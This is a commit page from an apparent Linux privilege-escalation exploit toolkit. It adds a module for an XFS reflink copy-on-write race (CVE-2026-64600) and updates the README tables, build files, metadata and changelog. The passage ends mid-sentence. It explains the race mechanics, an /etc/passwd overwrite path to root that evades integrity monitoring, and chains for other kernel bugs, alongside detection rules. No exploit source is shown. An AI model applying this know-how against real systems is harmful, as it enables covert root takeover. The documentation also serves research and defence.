modules: add refluxfs (CVE-2026-64600, "RefluXFS" XFS reflink CoW ILOCK race)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run

Adds the corpus's first XFS module and its first data-oriented kernel bug —
every other kernel entry corrupts memory; this one corrupts file contents.

xfs_direct_write_iomap_begin() reads the data-fork extent map under ILOCK,
then xfs_reflink_fill_cow_hole() drops ILOCK to wait for transaction log
space. On reacquiring it, the code re-queries the refcount btree at the
ORIGINAL imap->br_startblock and never re-reads the data fork. A second
O_DIRECT writer holding only IOLOCK completes a whole CoW cycle in that
window, so the first writer's stale mapping sees refcount 1, treats a
still-shared block as private, and writes to it in place — landing its data
on the reflink source file's on-disk blocks.

The primitive is an arbitrary overwrite of the on-disk contents of any
readable file, which has three consequences that drive the design:
  - No offsets, no ROP, no KASLR/SMEP/SMAP; SELinux, containers and seccomp
    are all irrelevant.
  - The victim's inode is never written, so mtime/ctime/size never change
    and nothing is logged — FIM and `-w /etc/passwd -p wa` cannot see it.
  - The change persists across reboots.

Introduced 4.11 (3c68d44a2b49); fixed 2f4acd0fcd86 (mainline 7.2-rc4,
merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96. Exposure is
distro-shaped: RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server
>= 31 and Amazon Linux 2023 ship XFS+reflink by default.

detect() is not a pure version gate — reachability here is safely
observable, so it pairs the backport table with a real storage precondition
(writable XFS via statfs XFS_SUPER_MAGIC, deliberately not via a successful
FICLONE since btrfs implements that too and is unaffected). --active
confirms reflink via FICLONE; SKELETONKEY_XFS_ASSUME_REFLINK=1/0 overrides.
On rpm-family hosts it warns that vendors backport without bumping the
upstream version, so the verdict speaks only to the upstream base.

exploit() forks a child that works only in a private mkdtemp scratch dir on
two files it owns: it establishes a shared extent (FICLONE, corroborated by
FIEMAP_EXTENT_SHARED) plus an O_DIRECT gate, then races a hard-bounded
8 writers / 2 helpers / 16 rounds / 2s and stops, reading the donor back
with O_DIRECT. Deliberately under-driven, and it never clones or targets a
file it does not own — the /etc/passwd overwrite -> su -> root step is
documented but NOT bundled. Always returns EXPLOIT_FAIL.

Safety rank 55, far above bad_epoll (12) and ghostlock (11): a won race
corrupts 4 KiB of our own scratch file and cannot touch kernel memory, so
there is no oops/KASAN/panic path.

Detection inverts the usual advice. auditd/sigma anchor on ioctl request
0x40049409 (FICLONE, matched exactly) and openat O_DIRECT; falco adds the
cross-uid reflink condition; and the yara rule is genuinely the right tool
here, matching the on-disk artifact because FIM is structurally blind.

VM-VERIFIED 2026-07-23 — the corpus's first rpm-family verification, taking
the empirical count to 29 of 41 CVEs. Rocky Linux 9.8 /
5.14.0-687.10.1.el9_8.0.1.x86_64 under qemu/KVM, stock GenericCloud layout
with no provisioner changes (root is XFS with reflink=1 out of the box).
detect() -> VULNERABLE, --active FICLONE witness confirmed reflink, phase A
observed FIEMAP_EXTENT_SHARED on a real shared extent, scratch self-cleaned,
clean build on el9 gcc. The underlying bug was separately confirmed winnable
on that kernel via tools/verify-vm/refluxfs_verify.c at the public PoC's
parameters (32 writers / 8 helpers, 60s): 4/4 runs won, first divergence
after 69/114/170/494 rounds. The shipped under-driven trigger did NOT win in
its 2s budget on that same vulnerable kernel — intended behaviour, and
exactly why a non-win must never be read as "patched".

14 new detect() unit rows (148 tests total, 0 failures). Bumps to v0.9.14.

Credit: Qualys Threat Research Unit (blog by Saeed Abbasi; the technical
advisory credits model-assisted kernel analysis performed with Anthropic),
and the upstream XFS maintainers who fixed it.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 17:49:40 -04:00
parent d466fbfdcb
commit e46a32f11e
19 changed files with 1914 additions and 31 deletions
+6 -2
View File
@@ -23,7 +23,7 @@ Status legend:
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
historical reference only
**Counts:** 45 modules total covering 40 CVEs; **28 of 40 CVEs
**Counts:** 46 modules total covering 41 CVEs; **29 of 41 CVEs
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
*candidate* with no module, not counted as a module.)
@@ -34,7 +34,9 @@ planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
> libs) or are brand-new this cycle, not by missing code (`bad_epoll` and
> `ghostlock` are reconstructed race triggers — deliberately under-driven
> and not VM-verified). See
> and not VM-verified). `refluxfs` was VM-verified on 2026-07-23 against
> Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1 (the corpus's first
> rpm-family verification). See
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
>
> All three now have **pinned fix commits and version-based
@@ -100,6 +102,7 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. |
| CVE-2026-43499 | GhostLock — rtmutex/futex requeue-PI `remove_waiter()` stack UAF | LPE (unprivileged, **no userns** → kernel-**stack** UAF → near-arbitrary write → root) | fixed 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 (CNA/Debian backports of `3bfdc63936dd`, mainline 7.1-rc1); 5.15/5.10/5.4/4.19 affected with no upstream fix | `ghostlock` | 🟡 | **VEGA / Nebula Security public PoC ("IonStack part II: GhostLock"); reconstructed trigger, not VM-verified.** ~15-year stack UAF in `kernel/locking/rtmutex.c`: on the `-EDEADLK` deadlock-rollback, `remove_waiter()` runs against `current` instead of the waiter task, so a concurrent PI-chain priority walk (driven via `sched_setattr()` on a sibling CPU) clears `pi_blocked_on` on the wrong task and leaves an on-stack `rt_mutex_waiter` dangling → controlled kernel write when the rbtree is later rotated over the reused frame; weaponised (Android/Pixel) via a KernelSnitch page leak → forged waiter → `struct file` `f_op` → configfs/ashmem R/W → pipe physical R/W → cred patch. Reachable by **any unprivileged user** (CVSS 7.8, PR:L) — plain `futex(2)` + `sched_setattr(2)`, no userns, no capability, only `CONFIG_FUTEX_PI` (universal). CWE-416 (race root cause CWE-362); not in KEV. The corpus's first rtmutex/futex-PI module and its only kernel-**stack** UAF (all others are heap/slab). detect() is a **pure version gate** across a five-branch backport table. exploit() forks a child that (A) deterministically confirms the `-EDEADLK` `remove_waiter()` rollback path is reachable (safe — validated on real hardware) and (B) exercises the actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU `sched_setattr(SCHED_BATCH)` storm — **deliberately under-driven**: no `copy_from_user` widening, no stack-frame spray/reoccupation, and the KernelSnitch leak + R/W + cred-patch chain is NOT bundled (Android/Pixel-specific, per-build offsets). Returns `EXPLOIT_FAIL`. **Lowest `--auto` safety rank (11)** — a won race corrupts the kernel stack. Unlike most races it has a real detection signature (futex requeue-PI returning `EDEADLK` + sibling `sched_setattr(SCHED_BATCH)`); auditd/sigma anchor on `sched_setattr`, falco/eBPF on the requeue-PI-EDEADLK tell; no yara. Arch-neutral trigger (any). Mitigate: upgrade only. Credit: VEGA / Nebula Security. |
| CVE-2026-64600 | RefluXFS — XFS reflink CoW `ILOCK`-cycling TOCTOU race | LPE (unprivileged, **no userns, no offsets** → overwrite the on-disk contents of any readable file → `/etc/passwd` → root) | fixed 7.1.4 / 6.18.39 / 6.12.96 (CNA backports of `2f4acd0fcd86`, mainline 7.2-rc4, merged 2026-07-16); 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 affected with no upstream stable fix | `refluxfs` | 🟡 | **Qualys TRU disclosure (2026-07-22) with a video PoC on RHEL 10.2; reconstructed trigger, VM-VERIFIED 2026-07-23 on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1 (stock XFS+reflink layout, qemu/KVM) — the corpus's first rpm-family verification. detect() returned VULNERABLE, the `--active` FICLONE witness confirmed reflink, and phase A observed `FIEMAP_EXTENT_SHARED` on a real shared extent. The underlying bug was separately confirmed winnable on that kernel (4/4 runs, first divergence after 69-494 rounds in 60 s) via a VM-only harness at the public PoC's parameters, `tools/verify-vm/refluxfs_verify.c`; the shipped under-driven trigger did NOT win in its 2 s budget on that same vulnerable kernel — intended behaviour, and precisely why a non-win must never be read as "patched".** `xfs_direct_write_iomap_begin()` reads the data-fork extent map under `ILOCK`, drops `ILOCK` in `xfs_reflink_fill_cow_hole()` to wait for transaction log space, then re-checks the refcount btree at the **original** `imap->br_startblock` and never re-reads the data fork. A second `O_DIRECT` writer (holding only `IOLOCK`) completes a full CoW cycle in that window, so the first writer's stale mapping sees refcount 1, treats a still-shared block as private, and writes to it in place — landing its data on the reflink **source** file's blocks. The corpus's first XFS module and its first **data-oriented** kernel bug: the primitive is an arbitrary *file-content* overwrite, so there are **no offsets, no ROP, no KASLR/SMEP/SMAP** to defeat, and SELinux enforcing / containers / seccomp are all irrelevant. Crucially the victim's **inode is never written**`mtime`/`ctime`/size are unchanged and nothing is logged — so **FIM and `-w /etc/passwd -p wa` do not fire**; the change persists across reboots. Reachable by any unprivileged user with a writable dir on an XFS volume mounted `reflink=1` (the `mkfs.xfs` default since xfsprogs 5.1) — i.e. **default RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server ≥ 31, Amazon Linux 2023**; Debian/Ubuntu/SUSE/Arch default to ext4/btrfs and are PRECOND_FAIL; RHEL 7 (3.10) never affected. Introduced 4.11 (`3c68d44a2b49`) — a nine-year window. CWE-362 → CWE-367; NVD published no CWE/CVSS at time of writing; not in KEV. detect() version-gates **and** probes for a writable XFS mount via `statfs()` `XFS_SUPER_MAGIC` (not via FICLONE — btrfs implements that too), confirming `reflink=1` under `--active`; override with `SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. It warns explicitly that on rpm-family hosts the upstream-version verdict **cannot see a vendor backport** (a patched el8 kernel still reports `4.18.0-*`) — check the RHSA/ELSA/ALSA/RLSA erratum. exploit() forks a child that works only in a private `mkdtemp` scratch dir on **two files it owns**: it establishes a shared extent (FICLONE, corroborated by `FIEMAP_EXTENT_SHARED`) plus an `O_DIRECT` gate, then races a hard-bounded 8 writers / 2 `ftruncate`+`fdatasync` helpers / 16 rounds / 2 s and stops, reading the donor back with `O_DIRECT` (a buffered read would be served from the page cache the corruption bypasses). **Deliberately under-driven** (PoC uses 32 writers / 8 helpers) and it **never clones or targets a file it does not own** — the `/etc/passwd` overwrite → `su` → root step persistently rewrites a system file with no undo and is documented but NOT bundled. Returns `EXPLOIT_FAIL`. Safety rank **55** — far above `bad_epoll`/`ghostlock` because a won race corrupts 4 KiB of our own scratch file and **cannot touch kernel memory** (no oops/KASAN/panic path). Ships the corpus's most useful **yara** rule: since FIM is blind here, it matches the on-disk artifact (a `passwd` with a password-less root entry or an added uid-0 account); auditd/sigma anchor on `ioctl` request `0x40049409` (FICLONE) and `openat` `O_DIRECT`. Arch-neutral (any). Mitigate: none possible — patch + reboot. Credit: Qualys TRU (Saeed Abbasi; advisory credits model-assisted analysis with Anthropic). |
| CVE-2026-46242 | Bad Epoll — epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** → cross-cache to `struct file` → kernel R/W → root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | 🟡 | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` → 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** — no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe — you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s — **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) — snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) — rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. |
## Operations supported per module
@@ -141,6 +144,7 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
| sudo_host | ✓ | ✓ | — (upgrade sudo to 1.9.17p1) | — | ✓ (auditd + sigma + falco) |
| refluxfs | ✓ (+ `--active` FICLONE witness) | ✓ (trigger, own files only) | — (no runtime mitigation exists — patch + reboot) | ✓ (sweep leftover scratch dirs) | ✓ (auditd + sigma + yara + falco) |
## Pipeline for additions
+6 -1
View File
@@ -252,6 +252,11 @@ GHL_DIR := modules/ghostlock_cve_2026_43499
GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c
GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS))
# CVE-2026-64600 refluxfs — XFS reflink CoW ILOCK-cycling TOCTOU race ("RefluXFS", Qualys TRU)
RFX_DIR := modules/refluxfs_cve_2026_64600
RFX_SRCS := $(RFX_DIR)/skeletonkey_modules.c
RFX_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(RFX_SRCS))
# Top-level dispatcher
TOP_OBJ := $(BUILD)/skeletonkey.o
@@ -266,7 +271,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \
$(GHL_OBJS)
$(GHL_OBJS) $(RFX_OBJS)
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
+31 -13
View File
@@ -2,11 +2,11 @@
[![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2039-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
[![Modules](https://img.shields.io/badge/CVEs-29%20VM--verified%20%2F%2041-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
[![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
> **One curated binary. 45 Linux LPE modules covering 40 CVEs from 2016 → 2026.
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
> **One curated binary. 46 Linux LPE modules covering 41 CVEs from 2016 → 2026.
> Every year 2016 → 2026 covered. 29 confirmed end-to-end against real Linux
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
> the safest one and runs it.**
@@ -45,8 +45,8 @@ for every CVE in the bundle — same project for red and blue teams.
## Corpus at a glance
**45 modules covering 40 distinct CVEs** across the 2016 → 2026 LPE
timeline. **28 of the 40 CVEs have been empirically verified** in real
**46 modules covering 41 distinct CVEs** across the 2016 → 2026 LPE
timeline. **29 of the 41 CVEs have been empirically verified** in real
Linux VMs via `tools/verify-vm/`; the 12 still-pending entries are
blocked by their target environment (legacy hypervisor, EOL kernel, or
the t64-transition libc rollout) or are brand-new additions awaiting a
@@ -68,7 +68,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
### Empirical verification (28 of 40 CVEs)
### Empirical verification (29 of 41 CVEs)
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
each verdict against a known-target VM. Coverage:
@@ -80,6 +80,7 @@ each verdict against a known-target VM. Coverage:
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirty_pipe · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · overlayfs_setuid · stackrot · sudoedit_editor · sudo_chwoot |
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
| Rocky Linux 9.8 (5.14.0-687.10.1.el9_8.0.1, stock XFS + `reflink=1`) | refluxfs |
**Not yet verified (12):** `vmwgfx` (VMware-guest-only — no public Vagrant
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
@@ -212,8 +213,25 @@ also compile (modules with Linux-only headers stub out gracefully).
## Status
**v0.9.13 cut 2026-07-13.** 45 modules across 40 CVEs — **every
year 2016 → 2026 now covered**. Newest: `ghostlock` (CVE-2026-43499,
**v0.9.14 cut 2026-07-23.** 46 modules across 41 CVEs — **every
year 2016 → 2026 now covered**. Newest: `refluxfs` (CVE-2026-64600,
Qualys TRU's "RefluXFS" — a nine-year TOCTOU race in the XFS **reflink
copy-on-write** path: `xfs_reflink_fill_cow_hole()` drops `ILOCK` to wait
for transaction log space, then re-checks the refcount btree at a
**stale** physical block without re-reading the data fork, so a
direct-I/O writer treats a still-shared block as private and writes to it
in place. The primitive is an arbitrary overwrite of the **on-disk
contents of any readable file** — data, not memory corruption — so there
are **no offsets, no ROP, no KASLR/SMEP/SMAP** to defeat, and SELinux
enforcing, containers and seccomp are all irrelevant. Because the
victim's inode is never written, its `mtime`/`ctime`/size never change
and **file-integrity monitoring cannot see it**. Unprivileged, no userns,
no crafted image — reachable wherever an XFS volume is mounted
`reflink=1`, the installer default on RHEL/CentOS/Rocky/Alma/Oracle 8-10,
Fedora Server ≥ 31 and Amazon Linux 2023. Shipped as a reconstructed
trigger confined to files the operator owns, with the `/etc/passwd`
overwrite → `su` → root step documented but **not** bundled),
`ghostlock` (CVE-2026-43499,
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
use-after-free on **kernel stack** memory where `remove_waiter()` clears
`pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback,
@@ -237,9 +255,9 @@ v0.9.0 added 5 gap-fillers
the verified count from 22 → 28 by booting real vulnerable kernels
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
**28 empirically verified** against real Linux VMs (Ubuntu 18.04 /
20.04 / 22.04 + Debian 11 / 12 + mainline kernels from
kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
**29 empirically verified** against real Linux VMs (Ubuntu 18.04 /
20.04 / 22.04 + Debian 11 / 12 + Rocky Linux 9.8 + mainline kernels
from kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic +
static-musl flavors).
@@ -253,7 +271,7 @@ Reliability + accuracy work in v0.7.x:
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
that boots known-vulnerable kernels (stock distro + mainline via
kernel.ubuntu.com), runs `--explain --active` per module, records
match/MISMATCH/PRECOND_FAIL as JSON. 28 modules confirmed end-to-end.
match/MISMATCH/PRECOND_FAIL as JSON. 29 modules confirmed end-to-end.
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
trace, OPSEC footprint, detection-rule coverage, verified-on
@@ -265,7 +283,7 @@ Reliability + accuracy work in v0.7.x:
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
exploit, structured verdict table, scan summary, `--dry-run`.
Not yet verified (12 of 40 CVEs): `vmwgfx` (VMware-guest only),
Not yet verified (12 of 41 CVEs): `vmwgfx` (VMware-guest only),
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
+13
View File
@@ -332,6 +332,19 @@ const struct cve_metadata cve_metadata_table[] = {
.in_kev = false,
.kev_date_added = "",
},
{
/* NVD had published no CWE for this CVE at time of writing
* (disclosed 2026-07-22); SKELETONKEY's own reading is CWE-362
* (race) yielding CWE-367 (TOCTOU) — see the module MODULE.md.
* This field mirrors NVD, so it stays NULL until NVD classifies
* it and the refresh script fills it in. */
.cve = "CVE-2026-64600",
.cwe = NULL,
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
};
const size_t cve_metadata_table_len =
+1
View File
@@ -61,6 +61,7 @@ void skeletonkey_register_cifswitch(void);
void skeletonkey_register_nft_catchall(void);
void skeletonkey_register_bad_epoll(void);
void skeletonkey_register_ghostlock(void);
void skeletonkey_register_refluxfs(void);
/* Call every skeletonkey_register_<family>() above in canonical order.
* Single source of truth so the main binary and the test binary stay
+1
View File
@@ -57,4 +57,5 @@ void skeletonkey_register_all_modules(void)
skeletonkey_register_nft_catchall();
skeletonkey_register_bad_epoll();
skeletonkey_register_ghostlock();
skeletonkey_register_refluxfs();
}
+9
View File
@@ -358,5 +358,14 @@
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
},
{
"cve": "CVE-2026-64600",
"module_dir": "refluxfs_cve_2026_64600",
"cwe": null,
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
}
]
+2 -1
View File
@@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited
in the wild per the Known Exploited Vulnerabilities catalog.
Refreshed via `tools/refresh-cve-metadata.py`.
**13 of 40 modules cover KEV-listed CVEs.**
**13 of 41 modules cover KEV-listed CVEs.**
## In KEV (prioritize patching)
@@ -59,3 +59,4 @@ and are technically reachable. "Not in KEV" is not the same as
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
| CVE-2026-64600 | ? | `refluxfs_cve_2026_64600` |
+126
View File
@@ -1,3 +1,129 @@
## SKELETONKEY v0.9.14 — new LPE module: refluxfs (CVE-2026-64600)
Adds **`refluxfs` — CVE-2026-64600 "RefluXFS"** (Qualys Threat Research Unit),
taking the corpus to **46 modules / 41 CVEs** and opening a brand-new subsystem:
**XFS reflink copy-on-write** (`fs/xfs/xfs_iomap.c`, `fs/xfs/xfs_reflink.c`). It
is also the corpus's first **data-oriented** kernel bug — every other kernel
entry in the set corrupts memory; this one corrupts file contents.
`xfs_direct_write_iomap_begin()` reads the data-fork extent map under `ILOCK`,
then `xfs_reflink_fill_cow_hole()` **drops `ILOCK`** to allocate a transaction
(i.e. to wait for log space). On re-acquiring it, the code re-queries the
refcount btree at the **original** physical block number (`imap->br_startblock`)
and **never re-reads the data fork**. A second `O_DIRECT` writer holding only the
coarser `IOLOCK` can complete an entire CoW cycle inside that window — allocate
block Y, write it, remap via `xfs_reflink_end_cow()` — leaving the first writer's
mapping pointing at a block now owned solely by the reflink **source**. The stale
lookup returns refcount `1`, the writer concludes the block is private, and
writes to it in place, landing attacker data on the source file's on-disk blocks.
Three properties make this unlike anything else in the corpus:
- **No offsets, no ROP, no KASLR/SMEP/SMAP.** The primitive is an arbitrary
overwrite of the *on-disk contents of any readable file*, so there is nothing
to port per kernel build and no `--full-chain` offset entry to fill. Qualys is
explicit that SELinux enforcing, container boundaries and seccomp are equally
irrelevant: *"This isn't a vulnerability you can harden around, isolate, or
live-patch."*
- **File-integrity monitoring cannot see it.** The data is applied to the shared
physical block *beneath* the victim inode. No `write(2)` ever targets it, so
`mtime`/`ctime`/size are unchanged and nothing is logged — `-w /etc/passwd -p
wa`, AIDE and Tripwire all stay silent. The change persists across reboots.
- **The exposure is distro-shaped, not kernel-shaped.** What matters is whether
XFS+reflink is the installer default: **RHEL/CentOS Stream/Rocky/AlmaLinux/
Oracle/CloudLinux 8-10, Fedora Server ≥ 31 and Amazon Linux 2023** are
exploitable out of the box; Debian, Ubuntu, Fedora Workstation, SLES, openSUSE
and Arch default to ext4/btrfs and are not reachable. RHEL/CentOS 7 (3.10) was
never affected.
Introduced **4.11** (2017-02, `3c68d44a2b49`) — a nine-year window. Fixed by
`2f4acd0fcd86` ("xfs: resample the data fork mapping after cycling ILOCK"),
merged **2026-07-16** for **7.2-rc4**; stable backports **7.1.4** / **6.18.39** /
**6.12.96**. The 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 lines have no
upstream stable fix in the CNA record at time of writing. CWE-362 → CWE-367; NVD
published neither a CWE nor a CVSS vector at time of writing; not in CISA KEV.
🟡 **Trigger (reconstructed) — deliberately under-driven, and VM-VERIFIED.**
Unlike the corpus's other race
modules, `detect()` is **not** a pure version gate: this bug's reachability is
safely observable, so it pairs the three-branch version table with a **real
storage precondition** — a writable directory on a mounted XFS filesystem,
identified by `statfs(2)` `f_type == XFS_SUPER_MAGIC` and deliberately **not** by
a successful `FICLONE`, since btrfs implements `FICLONE` too and is unaffected.
No such directory → `PRECOND_FAIL`, the correct verdict on a stock Debian/Ubuntu
host. Under `--active` it confirms `reflink=1` empirically; override with
`SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. On rpm-family hosts it warns explicitly
that RHEL/Oracle/Rocky/Alma backport **without bumping the upstream version** (a
patched el8 kernel still reports `4.18.0-*`), so the verdict reflects the
upstream base version only — check the RHSA/ELSA/ALSA/RLSA erratum.
`exploit()` forks an isolated child that creates a private `mkdtemp` scratch
directory and works **only on two files it owns**: **(A)** it writes a donor,
`FICLONE`-clones it, and confirms the shared extent via **`FIEMAP_EXTENT_SHARED`**
plus an `O_DIRECT` gate — a read-only, deterministic observation that the exact
refcount state the bug misjudges exists here; then **(B)** it races **8**
concurrent `O_DIRECT` 4 KiB writes against the clone with **2**
